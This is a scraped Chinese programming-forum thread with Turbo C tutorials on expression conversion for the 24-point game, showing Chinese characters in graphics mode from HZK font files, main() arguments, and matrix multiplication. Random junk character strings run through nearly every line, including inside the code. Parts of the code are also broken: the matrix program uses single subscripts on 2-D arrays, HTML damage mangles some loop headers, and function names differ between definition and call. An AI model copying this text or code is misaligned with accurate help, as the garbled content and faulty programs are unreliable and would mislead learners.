  OK,所谓表达式的线性化是指将中缀表达的表达式转化为波兰表达式。对于每一个表达式,利用栈可以把表达式变换成波兰表达式,也可以利用栈来计算波兰表达式的值。- l) G  E3 j8 X  `% T
) e; f& S* W7 o1 j% O5 U2 L
  至于转换和计算的过程和第一种方法大同小异,这里就不再赘述了。% T3 c1 A% A) \, g' l/ L* [! U5 B! }

# Z* {7 L( n  t8 \  下面给出转换和计算的具体实现程序——1 @9 g' A; n! s
) ]6 s# M; f3 Y7 t
<FONT color=#009900>/* first函数给出各个运算符的优先级,其中=为表达式结束符 */7 _9 p; f' S" a
int first(char c)+ v6 ^5 J/ h* ~) ]8 g8 j
{ int p;
* T1 X8 D5 k. W1 {7 P$ ?0 w8 Iswitch(c)
3 x9 {  R2 f  m. B9 P{ case '*': p=2; break;
% T# E% g! P3 p8 Zcase '/': p=2; break;
+ h! S7 Y5 j8 Q7 d8 f% \case '+': p=1; break;
5 r% @) s$ c$ Bcase '-': p=1; break;  o0 T  {3 n' Q4 o! u
case '(': p=0; break;
7 y1 |9 r* p8 S$ `4 Lcase '=': p=-1; break;' w: p. E' }- q4 @: O) v
}
# P" C3 L9 s0 n0 z' Rreturn(p);
3 P( s$ X/ @. w$ |}
$ K( k: @4 X2 s2 N% u. S0 I) H/* 此函数实现中缀到后缀的转换 */, {  S$ L3 ~' n+ c) n. ~5 d
/* M的值宏定义为20 */6 K7 T' x- Y  r1 z9 N
/* sp[]为表达式数组 */
# L5 A; P4 J8 fint mid_last()" D! f5 R& F! U) J
{ int i=0,j=0; char c,sm[M];3 H  x# l* R- s
c=s[0]; sm[0]='='; top=0;
( u! t+ I! H( Y1 Z" N4 _0 swhile(c!='\0')4 k; w" t* H  }5 v7 b, V. m
{ if(islower(c)) sp[j++]=c;
' W# j! e- `5 b3 l1 y3 I  V+ q5 ^+ zelse switch(c)# R) n2 J' F3 g  l% t) i# F; I
{ case '+':9 _+ C5 }! _% ]
case '-':
% w/ x' o4 W' P8 w7 Pcase '*':
  X3 I5 ]' f8 V% mcase '/': while(first(c)&lt;=first(sm[top]))3 S- [) E$ {  T( K5 e5 _3 h
sp[j++]=sm[top--];: a' ?3 q6 [- a1 V5 j4 B% B% A& M
sm[++top]=c; break;
# {' P2 c! A  e4 F3 U5 S( bcase '(': sm[++top]=c; break;( U! e4 [* [6 F" `4 Z
case ')': while(sm[top]!='(')
& C; G  G! P, ^5 R2 E7 Q1 c- nsp[j++]=sm[top--];0 t  h5 S4 a: m9 U2 q; I
top--; break;$ D+ D4 @" T; E3 Z( K: B+ e) R
default :return(1);
4 M; A" R- j- {}1 x5 c: {  D  g; I2 j6 b3 X
c=s[++i];7 b2 _0 z/ }! J* I3 M
}8 C! l+ Q6 e  m4 |4 g
while(top&gt;0) sp[j++]=sm[top--];
" N# y; u& L# C" P' b* fsp[j]='\0'; return(0);- a: W) u8 T% [( u7 H" P* {
}5 [$ T. N' f" c  `- s0 h. i, N/ d
/* 由后缀表达式来计算表达式的值 */
" `! M6 g6 g! E, n; H; Mint calc()
% K) Z3 n5 V! l" G  `{ int i=0,sm[M],tr; char c;& F1 x& J5 I& g& I
c=sp[0]; top=-1;8 I3 J4 m2 T# `0 E; |
while(c!='\0')
" m4 D, k, A1 z* w: I9 I{ if(islower(c)) sm[++top]=ver[c-'a'];/*在转换过程中用abcd等来代替数,
6 s( @; A% H' R1 g! G这样才可以更方便的处理非一位数,
- e3 [0 B" h8 S& }ver数组中存放着这些字母所代替的数*/' w% Y6 R$ [! f) @2 f& L" J
else switch(c)
' a; g8 T5 @$ n{ case '+': tr=sm[top--]; sm[top]+=tr; break;
- f$ k+ {  ~' w+ L+ ^* @case '-': tr=sm[top--]; sm[top]-=tr; break;
& x7 g6 `% ^: R. C1 _1 A" Ocase '*': tr=sm[top--]; sm[top]*=tr; break;5 g+ h7 n: C: y2 b
case '/': tr=sm[top--];sm[top]/=tr;break;: ]0 f+ D1 [3 h- y
default : return(1);
! {4 ?+ a4 d6 Z. v) o' w0 m/ @}
3 A6 W1 \% z- r1 lc=sp[++i];
# K# x3 l& w) i$ [& @}
9 P3 C! e8 Y2 x2 C( Zif(top&gt;0) return(1);
% h: n+ q6 f7 lelse { result=sm[top]; return(0); }) [8 A2 n; A/ n
}
( C2 F5 @$ Q! \( b6 N</FONT>
9 r# R4 ?: z* I$ Y/ ]  这样这个程序基本上就算解决了,回过头来拿这个程序来算一算文章开始的那个问题。哈哈,算出来了,原来如此简单——(6-3)*10-6=24。
. }* u! o! N9 Q3 ?/ \7 F$ ?; v) b+ I
  最后我总结了一下这其中容易出错的地方——
( T5 n& k6 o6 ]" F5 Y
5 M) N# v+ x" r8 J4 q  1、 排列的时候由于一个数只能出现一次, 所以必然有一个判断语句。但是用什么来判断,用大小显然不行,因为有可能这四个数中有两个或者以上的数是相同的。我的方法是给每一个数设置一个代号,在排列结束时,通过这个代号找到这个数。, K: H6 W8 m* P
! o: e( J: p/ }& S
  2、在应用嵌套函数时,需仔细分析程序的执行过程,并对个别变量进行适当的调整(如j的值),程序才能正确的执行。
: O/ b3 C: g- G* b5 T8 ^$ P+ J7 c4 ?
2 G7 I4 n- T5 U, d9 J' H  3、在分析括号问题的时候要认真仔细,不要错过任何一个可能的机会,也要尽量使程序变得简单一些。不过我的分析可能也有问题,还请高手指点。   G  t: U' ]3 G* m! T% k

* p, q! D. @6 w/ D" {$ e  4、在用函数对一个数组进行处理的时候,一定要注意如果这个数组还需要再应用,就必须将它先保存起来,否则会出错,而且是很严重的错误。4 Y6 {$ a) D  a% U( k

) j- x& y; H6 ?7 ?  5、在处理用户输入的表达式时,由于一个十位数或者更高位数是被分解成各位数存放在数组中,所以需对它们进行处理,将它们转化成实际的整型变量。另外,在转化过程中,用一个字母来代替这个数,并将这个数存在一个数组中,且它在数组中的位置和代替它的这个字母有一定的联系,这样才能取回这个数。
, g" C  z& U+ s' J8 @
) }0 K' o% o5 l5 P3 A+ u  6、由于在穷举过程难免会出现计算过程中有除以0的计算,所以我们必须对calc函数种对于除的运算加以处理,否则程序会因为出错而退出(Divide by 0)。
( U7 u% I6 F- P/ Q0 Z  F$ B' V+ v: T/ r1 ]1 t1 l( \, Y
  7、最后一个问题,本程序尚未解决。对于一些比较著名的题目,本程序无法解答。比如说5、5、5、1或者8、8、3、3。这是由于这些题目在计算的过程用到了小数,而本程序并没有考虑到小数。
: a- _. ]; A" _7 ?, ~1 V9 Y</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B>" @5 |5 U* v, e, |% k) a/ c
图形模式下的汉字显示</B></FONT></P><> </P><> 我们在编写一些应用软件时,为了使软件更为通俗浅显、易学易用,具备汉字的用户界面是必不可少的条件。在文本模式下,只要有汉字操作系统的支持,显示汉字是不成问题的。只要用printf或cprintf就可以了。#include <STDIO.H>void main(){printf("我正在学习C语言!");}
6 \% p1 o! F1 ]4 n  Q% n  在图形模式下显示汉字就稍稍麻烦些。可幸的是有很多人从事这一问题的研究,并开发了一些用于汉字显示的函数。这些函数不需要汉字系统的支持,但用到其中的字库文件。如UCDOS的HZK16。
1 k) r: X1 I* s/ m* N) D( v; U  汉字显示的第一步是打开字库文件。
2 L5 L( W5 Q) F) m  函数: int OpenHz(const char *Hz16Path); 功能:打开字库文件Hz16Pathint handle; /*打开的字库文件指针*/int OpenHz(const char *Hz16Path){return (handle=open(Hz16Path,O_RDONLY|O_BINARY));} 打开字库文件后,就可以用下面介绍的函数显示16点阵的汉字。) s) d' O# n5 ]. Q0 u+ X/ H. }# q
  函数: int WrtHz16(int x,int y,int z,int color,char *p); 功能:在(x,y)用color颜色显示汉字串p,汉字之间的空格数为z。intWrtHz16(int x, int y,int z,int color,char *p)
) X! l- a( T" ]; h9 P* Y, c{
, f2 b* a) f9 e% f8 C8 tunsigned int i,c1,c2,f=0; /*x,y:write at (x,y);*/. [* X- k+ ^  f2 z  {# V
int rec,i1,i2,i3; /*z:space between;*/
/ ^" Q% n' C1 }  M: m$ Slong l; /*color:txt color*/& Q5 n! ~. K) g9 C. H0 k$ X
char by[32]; /*p:HZ str*/
5 }* B6 z4 y3 y2 Nif( handle&lt;0 ) return -1; while((i=*p++)!=0){
  I5 p3 B& N" Q; zif(i&gt;0xa1)% {# l$ c3 m5 G- Q
if(f==0){8 U/ R3 s; b& N: b
c1=(i-0xa1)&amp;0x07f;
  i5 d0 @; n. Kf=1;+ k3 g  I- s$ n. g6 d4 Y3 V
}
4 U' P# H* w' f+ I  z( k% ?else{5 F1 Y) r" f- k: T8 A4 @
c2=(i-0xa1)&amp;0x07f;, {$ m+ p4 w% O% ~. M  m
f=0;7 O; ]( _- F9 |
rec=c1*94+c2;, r/ e6 b: L  v! U
l=rec*32L;
; O9 ]" P1 }1 \6 c& Plseek(handle,l,SEEK_SET);
& [& s0 M3 |- ]3 S' r! ^/ V, k& jread(handle,by,32);
% u, [! l* C* b7 n( X( Yfor(i1=0;i1&lt;16;i1++)
/ a- ]( H) o  F3 _2 C& X/ Wfor(i2=0;i2&lt;2;i2++)' k9 Z) P0 T8 r, m
for(i3=0;i3&lt;8;i3++)/ c, u% N4 y' ~$ [) E
if(GetBit(by[i1*2+i2],7-i3))5 u0 X! g. t3 l* k0 x$ b
putpixel(x+i2*8+i3,y+i1,color);. h3 N' ?/ a% y- h  Z0 `# f
x=x+z+16;  ~1 O( G( |5 A7 V, h
}0 v: x! u- k1 C& C# m
}
5 p0 A- S* p. D  Ereturn(x);  u6 A" ?" V3 ?% Z- N; k" p
}
- [9 N( F& Q+ f1 L' u函数GetBit定义如下:
. p8 d1 U6 V5 t7 b0 b  函数: int GetBit(unsigned char c,int n); 功能:取得汉字的点阵数据。
5 W! B$ Z- R+ e5 u4 Sint GetBit(unsigned char c,int n)
. Z; L9 t3 ?) R2 L$ T' A; o2 X{" E$ Q2 j5 `3 o
return((c&gt;&gt;n)&amp;1);7 Y5 V6 O8 x0 P, ~" v
}& ?5 [+ l2 b: ?
汉字显示结束,应该关闭字库文件。
3 C, P/ J7 M( E6 l8 {8 G/ }; e9 @- tvoid CloseHz(void)
# D% [  J* J, {+ b/ O) T7 L+ q{% l  P" m& x, C. ]
close( handle );8 r3 ]# B: y5 Q0 a5 a
}3 V) u! @& ~. {: [. S+ d1 |& \
#include "\Caic\Include\Hz.h") P" D# I5 ]# k1 F- Y. d! e! H) A
#include <GRAPHICS.H>6 k; C$ u! u  h) C0 G
#include <CONIO.H>const char* Hz16Path = "\\UCDOS\\Hzk16.";6 V8 w+ p: o# d: |# b: t8 C( a
const char* HzStr = "苦丁香C语言辅助学习软件";
, s. A4 W% L+ b4 b+ `void main(){
' a' T) z4 |* tint gr=DETECT,gm;
. w3 p: ~) ~" @% Ginitgraph(&amp;gr,&amp;gm,"\\Caic\\Bgi");4 T( l4 d' x" O+ N! P% s: C
OpenHz( Hz16Path );$ b" i5 ~" W  a2 H
Wrt16Hz(20,20,4,RED,HzStr);5 b$ }  o% T+ A* J# c# B
CloseHz();6 r, a" ~# O3 W9 A
getch();' J6 b6 d; X) t' c
closegraph();
0 L6 ?9 O/ S4 N2 [}显示24点阵及放大汉字
( a4 q5 z; E+ \& i  下面探讨一下如何显示24点阵及放大汉字。24点阵字库也可在任意一种汉字系统中找到。如UCDOS的HZK24S。
$ S  S2 ?' j8 r( L% R; `% N! ^1 |函数: int WrtHz24(int x,int y,int z,int color,int m,\int n,char *p); 功能:显示24点阵及放大汉字。
, t$ B- a, g) @) G0 `% ]int WrtHz24(int x,int y,int z,int color,int m,int n,char *p)5 s3 f- W, F* |
{" e4 v/ l  s- _+ a1 s; b" e/ E1 ^2 \
unsigned int i,c1,c2,f=0; /*z: 汉字字符间的空格*/  H! R$ u; `4 W# @0 }
int i1,i2,i3,i4,i5,rec; /*x,y: 先是位置(x,y)*/
/ d8 h5 T; ~# f$ Plong l; /*color:汉字颜色*/2 E# g9 O  ]/ I! s# F. u6 }8 d
char by[72]; /*m: x 方向的放大倍数*/) s6 H% q) n5 t
/*n: y 方向的放大倍数*/
! u' ]* J" O3 tif( handle&lt;0 ) return -1; /*p: 显示汉字串*/ while((i=*p++)!=0){
6 u4 p2 d9 ^0 W8 fif(i&gt;0xa1)
- {( k" {1 f7 g2 E* C( e; bif(f==0){
9 C. \- f+ R9 r* k3 N6 v# r0 Q/ nc1=(i-0xa1)&amp;0x7f;
; m  z1 O" h9 m; A# f; Q) af=1;
+ f5 B: [0 l. Y# {- R! q" b}
, X1 o1 Q3 |  x! G$ H) {, B3 belse{$ o, b# b  e  _% o4 b' ]
c2=(i-0xa1)&amp;0x7f;) u4 j; a% X0 _5 N5 r8 W
f=0;* _: p- i% G7 K1 d% e, x: X
rec=(c1-15)*94+c2;0 ~9 N0 i0 ]. B' Y4 a
l=rec*72L;* t9 X1 t; V% g! q' M2 N. y
lseek(handle,l,SEEK_SET);
- _' S, x( i& H( i! h9 g: }read(handle,by,72);
/ n! o! ]. I( `* Gfor(i1=0;i1&lt;24*m;i1=i1+m)
6 Z  G& A* C9 S' a, Afor(i4=0;i4<M;I4++)8 _) l5 ^( _1 ?) T  `# d+ ^
for(i2=0;i2&lt;=2;i2++)$ q. Y* R0 ~5 y7 r! Q" q" G, g
for(i3=0;i3&lt;8;i3++)
3 V$ B) S0 M, L2 r( eif(GetBit(by[i1/m*3+i2],7-i3))
$ t& ?9 d+ n! p  x# P; I4 Ofor(i5=0;i5<N;I5++)
9 m0 ?( o' u" ~* p' G, I3 r/ q6 t1 c putpixel(x+i1+i4,y+i2*8*n+i3*n+i5,color);
1 |3 }7 F+ F# Y% {( o; P8 Vx=x+24*m+z;
7 [% S4 {3 V  R4 J/ y}4 I- U( C% z1 Y
}; b- X4 C6 [! |, R* ~( ~
return(x);
' _1 W6 P! n, p8 p3 N} 使用Wrt24Hz的例子:#include "\Caic\Include\Hz.h"
1 B! d. W; M* N' v$ l, }7 k" v#include <GRAPHICS.H>2 ?+ x! @, J- X1 H2 Y3 \8 ^- f, v# B
#include <CONIO.H>const char* Hz24Path = "C:\\Ucdos\\fnt\\hzk24s."
& C+ @/ W9 M- s+ U. H/ ?2 t  U$ C' wconst char* HzStr = "苦丁香C语言辅助学习软件";7 `& k1 R) r: i/ w6 O3 v& i' b6 s
void main(){
8 W7 l2 `5 y- c; j' m: C5 Xint gr=DETECT,gm;
: c( j8 s1 t. f. t( {initgraph(&amp;gr,gm,"\\Caic\\Bgi");
7 L* o. k7 B% r/ |. }OpenHz( Hz24Path );7 `& {. ~# _$ h5 s
Wrt24Hz(20,20, /*先是在(x,y)*/* F  P* d4 @1 c4 d$ u
4, /*汉字间的空格为4*/
- l, p; N1 F! y7 C- `RED, /*用红色显示*/  p. M& J: [+ }. S
2, /*x 方向放大2倍*/% K1 w. n: E' |$ I; Q4 {) D+ k4 D+ f
4, /*y 方向放大4倍*/
: A8 ]" N( p6 f; H, L8 ~HzStr); /*显示字符串*/' q, P: d/ j9 ~( L: r9 V
CloseHz();; D0 H1 u# v  P$ \) K+ X. L
getch();1 A% ?  @$ P2 v* J
closegraph();* N& t3 u; s9 A$ C* n+ T$ j* \
}
9 U, C3 U0 o# E" X</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<>  再谈main()主函数
0 z7 Z/ C6 c& c# r& {5 Z  每一C 程序都必须有一main()函数,可以根据自己的爱好把它放在程序的某个地方。有些程序员把它放在最前面,而另一些程序员把它放在最后面,无论放在哪个地方,以下几点说明都是适合的。+ }3 B* r1 T4 p/ ~/ l, ]
1. main() 参数: ?4 c6 V) ~. b: a; @
  在Turbo C2.0启动过程中,传递main()函数三个参数:argc,argv和env。
$ K: q& g$ K! w! {5 z$ L0 q' ?  * argc: 整数,为传给main()的命令行参数个数。
5 ~1 ~' e1 ~. C& D' X! D- W  * argv: 字符串数组。
0 f8 S; o/ m3 d/ E4 I" I* L( l& u在DOS 3.X 版本中,argv[0] 为程序运行的全路径名;
, C' N( }  D, x8 U+ o, @  t对DOS 3.0 以下的版本,argv[0]为空串("") 。argv[1] 为在DOS 命令行中执行程序名后的第一个字符串;argv[2] 为执行程序名后的第二个字符串;$ a( l! p4 }# v. ?, o$ m8 g7 A
.... L) v; m: _" K2 I) H
argv[argc]为NULL。, ~8 c. w# Q# E. c; k
  *env: 安符串数组。env[] 的每一个元素都包含ENVVAR=value形式的字符串。其中ENVVAR为环境变量如PATH或87。value 为ENVVAR的对应& b. a: ^! }/ u/ V' T
值如C:\DOS,C:\TURBOC(对于PATH) 或YES(对于87)。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B>两个矩阵相乘的源程序</B></FONT></P><>/*****************A=B*C******************/3 V6 a- h7 |1 z; N- o3 X% b# A
#include&lt;stdio.h&gt;
0 ?' Y. `  G9 I* \5 k' R' B$ U4 |! K#include&lt;conio.h&gt;0 b5 i! D; d4 Y4 o3 e- h& x/ k
#define X 34 A3 e  e5 T7 a% s  W
#define Y 3</P><>int a[X][Y];0 Y7 |6 [6 I) {  N' f! ~2 ]! d
int b[X][Y];+ J3 M. s! I' I3 D3 N
int c[X][Y];</P><>void matrix(int b[][X],int c[][Y]);
; {( r, d* m& y' ?6 m* @! f0 J* X. Dmain()
7 g/ U# g0 X8 X! k{
5 l" t; U( o, A4 P" s1 p7 |int i,j,temp;& C4 f2 ?# D9 [, ?2 |: |3 o/ O
clrscr();, n1 O, @/ |# O" {$ D: k
printf("lease input int matrix b[%d][%d]\n",X,Y);& d6 {, _9 s3 V+ H, I5 n/ _7 @
for(i=0;i&lt;Y;i++), ~& b) N3 ~6 D, u
for(j=0;j&lt;Y;j++){
* m, ?7 `" A4 A) ]6 @" y% B  ^& ^scanf("%d",&amp;temp);/ @9 L; d0 h2 m- p$ k$ J3 e
b[j]=temp;# y( ?0 B9 f$ y! I( C
}  ?. {) o/ J' x5 f" [! t
printf("lease input int matrix c[%d][%d]\n",X,Y);
" f. Z# ~3 n  f( K6 }for(i=0;i&lt;X;i++)3 ?7 ?9 f6 i4 Y4 ?
for(j=0;j&lt;Y;j++){
1 b- W. D$ }8 ~' I- Zscanf("%d",&amp;temp);
8 I; A* R! l' A6 Ec[j]=temp;
+ w0 e1 u6 S! @6 k/ w1 t  S& M}
$ z4 y& N. p! f6 E5 Lmatrix(b,c);
  p0 h8 h+ z  f0 o+ B: mprintf("Now print resource matrix b[%d][%d]=",X,Y);) n( K$ p- y- x- Z+ D5 W
for(i=0;i&lt;X;i++){
4 d- R8 A: g7 b9 _( yprintf("\n");
* q4 b- B  f% L# ~2 h( a0 B& {for(j=0;j&lt;Y;j++)
* C, @! F4 j" pprintf("%d ",b[j]);
, R: G7 u/ S8 q' d}
+ J  i" Z& y- I/ N1 e8 }) E$ Lprintf("\n");# \( Y6 U5 f8 o9 G/ x" ]9 Y; A7 F2 o
printf("Now print resource matrix c[%d][%d]=",X,Y);
* f( {3 F5 B/ I/ G6 Z/ E. T6 R$ Hfor(i=0;i&lt;X;i++){$ M3 H7 \2 ^3 A" S4 v) y0 N+ ~' ?
printf("\n");1 l$ |$ g1 P; A- I, O$ m2 G) \
for(j=0;j&lt;Y;j++)" J7 o) o  x! G2 i  ~& p) |" [
printf("%d ",c[j]);
! V  k! h2 i, t}  N  Z1 i* f" p+ R4 H/ J
printf("\n");
8 b0 t! ]  [7 j; K8 bprintf("Now printm multiply results matrix a[%d][%d]=B*C:",X,Y);
$ r1 b% H$ K) [% b) ufor(i=0;i&lt;X;i++){
9 I( m* p) c1 M$ Oprintf("\n");
. ^* r# T. J: c5 n) |& J5 x/ c) yfor(j=0;j&lt;Y;j++)
: k1 D9 f  f3 Q% Nprintf("%d ",a[j]);
/ E6 {9 f. P2 A: o' T}
6 B8 R( U9 S( ~getch();1 q/ h9 m3 e$ i+ u, i
return 0;
( g% Y% q8 h$ o# S/ W9 ]8 L- ^- g}* B! H+ P. ^4 Y
/********************************************************************/0 |: ?! t' F2 Y4 _8 k/ z0 V
void matrix(int b[][X],int c[][Y])& o$ d4 ~1 u% A; ~
{9 ]6 P/ F+ _$ V# P
int i,j,k,temp;
  }0 R' `) X$ C# j& F7 U; H! @& wfor(i=0;i&lt;X;i++)# [6 k* N- A; @1 ]* G
for(j=0;j&lt;Y;j++){9 ^" z9 J5 [% F* A
for(k=0;k&lt;Y;k++)9 M+ R1 T3 L+ u# m9 Q7 \
a[j]+=b[k]*c[k][j];
  ^& _$ @/ q; u" d* n, G}8 i1 I8 M9 \7 N0 f- j
}</P>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-4-17 04:11 , Processed in 0.623948 second(s), 90 queries .

回顶部